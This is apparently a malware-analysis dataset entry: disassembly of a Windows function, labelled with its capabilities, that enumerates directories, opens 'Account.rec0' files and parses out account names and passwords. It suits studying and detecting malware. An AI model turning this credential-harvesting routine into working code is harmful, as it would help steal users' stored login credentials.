Function at 0x40fa50
Capabilities:
Enumerate files on windows
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x49c
mov eax, dword [0x423b1c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x20c]
push edi
push 0
push eax
push 0x104
push esi
mov dword [ebp - 0x484], ecx
mov dword [ebp - 0x468], esi
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
mov ebx, dword [sym.imp.SHLWAPI.dll_PathCombineA]
lea eax, [ebp - 0x20c]
push 0x420580
push eax
lea eax, [ebp - 0x310]
push eax
call ebx
lea eax, [ebp - 0x450]
push eax
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x48c], eax
cmp eax, 0xffffffff
je 0x40fd46
mov dword [ebp - 0x474], 9
mov eax, dword [ebp - 0x450]
or eax, 0x10
cmp eax, 0x10
jne 0x40fd2b
cmp byte [ebp - 0x424], 0x2e
je 0x40fd2b
lea eax, [ebp - 0x424]
push eax
push esi
lea eax, [ebp - 0x108]
push eax
call ebx
push str.AccountsAccount.rec0
lea eax, [ebp - 0x108]
push eax
push eax
call ebx
push 0
push 0
push 3
push 0
push 7
push connect
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40fb46
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40fd25
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
mov dword [ebp - 0x45c], edi
call fcn.00407fa0
push edi
mov ebx, eax
push 0
push ebx
mov dword [ebp - 0x458], ebx
call fcn.00401027
add esp, 0x10
mov dword [ebp - 0x46c], 0
lea eax, [ebp - 0x46c]
push 0
push eax
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
mov ecx, 1
mov byte [0x424ed4], al
cmp byte [ebx], 0xd0
movzx eax, al
cmove eax, ecx
push 0x3000
push 0x400000
mov byte [0x424ed4], al
call fcn.00407d40
mov esi, eax
push 0x3000
push 0x104
mov dword [ebp - 0x488], esi
call fcn.00407d40
push 0x3000
push 0x104
mov ebx, eax
call fcn.00407d40
xor edi, edi
mov dword [ebp - 0x454], eax
add esp, 0x18
xor dh, dh
cmp dword [ebp - 0x45c], edi
jbe 0x40fcf4
mov eax, 7
lea ecx, [esi - 7]
sub eax, esi
mov dword [ebp - 0x470], eax
nop
mov eax, dword [ebp - 0x458]
mov esi, ecx
mov dl, byte [edi + eax]
lea eax, [edx - 0x21]
cmp al, 0x5d
ja 0x40fce7
cmp dl, 0x3d
je 0x40fce7
mov byte [ecx + 7], dl
inc ecx
test dh, dh
jne 0x40fcb9
mov eax, dword [ebp - 0x470]
add eax, ecx
cmp eax, 7
jle 0x40fce7
cmp byte [ecx], 0x41
jne 0x40fce7
cmp byte [ecx + 1], 0x63
jne 0x40fce7
cmp byte [ecx + 2], 0x63
jne 0x40fce7
cmp byte [ecx + 3], 0x6f
jne 0x40fce7
cmp byte [ecx + 4], 0x75
jne 0x40fce7
cmp byte [ecx + 5], 0x6e
jne 0x40fce7
cmp byte [ecx + 6], 0x74
jne 0x40fce7
mov esi, dword [ebp - 0x458]
xor edx, edx
mov eax, 2
cmp byte [esi], 0xd0
cmovne eax, dword [ebp - 0x474]
add eax, edi
add esi, eax
mov al, byte [esi]
cmp al, 0x20
jbe 0x40fcb1
cmp al, 0x7f
jae 0x40fcb1
inc esi
mov byte [edx + ebx], al
inc edx
mov al, byte [esi]
cmp al, 0x20
ja 0x40fca2
mov byte [edx + ebx], 0
mov dh, 1
jmp 0x40fce7
cmp byte [esi], 0x50
jne 0x40fce7
cmp byte [ecx], 0x61
jne 0x40fce7
cmp byte [ecx + 1], 0x73
jne 0x40fce7
cmp byte [ecx + 2], 0x73
jne 0x40fce7
cmp byte [ecx + 3], 0x77
jne 0x40fce7
cmp byte [ecx + 4], 0x6f
jne 0x40fce7
cmp byte [ecx + 5], 0x72
jne 0x40fce7
cmp byte [ecx + 6], 0x64
je 0x40fd5b
inc edi
cmp edi, dword [ebp - 0x45c]
jb 0x40fc10
mov esi, dword [ebp - 0x454]
push ebx
call fcn.00407e60
push esi
call fcn.00407e60
push dword [ebp - 0x488]
call fcn.00407e60
push dword [ebp - 0x458]
call fcn.00407fc0
mov ebx, dword [sym.imp.SHLWAPI.dll_PathCombineA]
add esp, 0x10
mov esi, dword [ebp - 0x468]
lea eax, [ebp - 0x450]
push eax
push dword [ebp - 0x48c]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40fad2
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401000
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 0x458]
xor edx, edx
mov esi, 9
mov eax, 2
cmp byte [ecx], 0xd0
cmovne eax, esi
mov esi, dword [ebp - 0x454]
add eax, edi
add ecx, eax
mov al, byte [ecx]
cmp al, 0x20
jbe 0x40fd96
cmp al, 0x7f
jae 0x40fd96
cmp al, 0x21
je 0x40fd96
inc ecx
mov byte [edx + esi], al
inc edx
mov al, byte [ecx]
cmp al, 0x20
ja 0x40fd83
lea ecx, [ebp - 0x49c]
mov byte [edx + esi], 0
call fcn.0040c4c0
push esi
lea ecx, [ebp - 0x464]
call fcn.00402bb0
push ebx
lea ecx, [ebp - 0x460]
call fcn.00402bb0
lea eax, [ebp - 0x478]
push eax
lea ecx, [ebp - 0x464]
call fcn.00402cb0
push eax
lea ecx, [ebp - 0x494]
call fcn.00403b40
lea ecx, [ebp - 0x478]
call fcn.00403ca0
lea eax, [ebp - 0x47c]
push eax
lea ecx, [ebp - 0x460]
call fcn.00402cb0
push eax
lea ecx, [ebp - 0x498]
call fcn.00403b40
lea ecx, [ebp - 0x47c]
call fcn.00403ca0
push 0x41f3d8
lea ecx, [ebp - 0x480]
mov dword [ebp - 0x490], 5
call fcn.004032c0
push eax
lea ecx, [ebp - 0x49c]
call fcn.00403b40
lea ecx, [ebp - 0x480]
call fcn.00403ca0
sub esp, 0x10
lea eax, [ebp - 0x49c]
mov ecx, esp
push eax
call fcn.004109d0
mov ecx, dword [ebp - 0x484]
call fcn.00410a10
lea ecx, [ebp - 0x460]
call fcn.00403280
lea ecx, [ebp - 0x464]
call fcn.00403280
lea ecx, [ebp - 0x49c]
call fcn.004026e0
jmp 0x40fcfa